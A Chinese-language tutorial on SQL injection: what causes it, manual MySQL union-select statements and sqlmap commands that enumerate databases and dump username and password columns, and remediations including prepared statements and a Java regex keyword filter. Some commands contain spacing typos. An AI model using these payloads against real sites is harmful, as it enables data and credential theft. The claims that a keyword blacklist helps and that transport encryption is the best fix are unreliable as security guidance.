SQL注入漏洞

SQL注入漏洞就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串中，最终达到欺骗服务器执行恶意的SQL命令。

SQL注入漏洞产生需要满足两个条件：

1）参数用户可控：前端传给后端的参数内容是用户可以控制的；

2）参数带入数据库查询：传入的参数拼接到SQL语句，且带入数据库查询。

SQL注入漏洞会导致数据库信息泄露、网页篡改(登陆后台后发布恶意内容)、网站挂马(当拿到webshell时或者获取到服务器的权限以后，可将一些网页木马挂在服务器上，去攻击别人)、私自添加系统账号、读写文件获取webshell等问题。

SQL注入漏洞关键在于注入点的发掘。

1）一般可采用appscan/awvs/burp自动化工具扫描，再人工进行验证；

2）简单验证在输入参数后面加上‘，检查请求响应；

3）可直接使用sqlmap工具（依赖python环境）。常用命令为：sqlmap.py –r xx.txt --level 5 --risk 3 --dbs--batch

手工注入常用语句（以mysql为例）：

1）判断是否存在注入and 1=1and 1=2

2）判断有多少列order by n

3）判断数据显示点union select 1,2,3,N

4）查看数据库基本信息union select 1,version(),database()

5）查看数据库有哪些表union select 1,2,group_concat(table_name) from information_schema.tableswhere table_schema=‘security'

6）查看对应表有哪些列union select 1,2,group_concat(column_name) from information_schema.columnswhere table_name=‘users'

7）查看账号密码信息union select 1,group_concat(username),group_concat(password) from users

工具检测注入

sqlmap常用命令：python sqlmap.py -r xx.txt --level 5 --risk 3 --dbs--dbms“Oracle” --batchpython sqlmap.py -u "http://ip/products.asp?id=134" --batch

暴库：python sqlmap.py -u "http://ip/products.asp?id=134" --dbs

暴当前库：python sqlmap.py -u "http://ip/products.asp?id=134" --current-db

暴表：python sqlmap.py -u "http://ip/products.asp?id=134" -D tourdata--tables

暴表列字段：python sqlmap.py -u"http://ip/products.asp?id=134" -Dtourdata-Tuserb–columns

暴表列数据：python sqlmap.py -u"http://ip/products.asp?id=134" -Dtourdata-Tuserb-C"email,Username,userpassword" --dump

分页暴表列数据：python sqlmap.py -u"http://ip/products.asp?id=134" -Dtourdata-Tuserb-C"email,Username,userpassword" --start 1 --stop 10 --dump

解决办法：

1.减少SQL语句拼接，采用SQL预编译PreparedStatement，SQL语句会预编译在数据库系统中，执行计划同样会被缓存起来，它允许数据库做参数化查询。使用预处理语句比普通的查询更快；使用预编译，而其后注入的参数将不会再进行SQL编译。也就是说其后注入进来的参数系统将不会认为它会是一条SQL语句，而默认其是一个参数，参数中的or或者and 等就不是SQL语法保留字了

2.启用SQL关键字过滤定义全局sqlFilter.java，对输入参数进行SQL合规性正则校验；

private static final String  reg="(?:')|(?:--)|(/\\*(?:.|[\\n\\r])*?\\*/)|(\\b(select|update|and|or|delete|insert|trancate|char|into|substr|ascii|declare|exec|count|master|into|drop|execute)\\b)";
private static final Pattern sqlPattern=Pattern.compile(reg,Pattern.CASE_INSENSITIVE);
private staticbooleansqlInjectionCheck(Stringsql){
	if(sqlPattern.matcher(sql).find()){
		logger.error("未能通过sqlInjection过滤器");
		returnfalse;
	}
	returntrue;
}

3.最好的办法是适用数据传输加密，防止数据被篡改，一旦后台数据解密失败，直接返回无效请求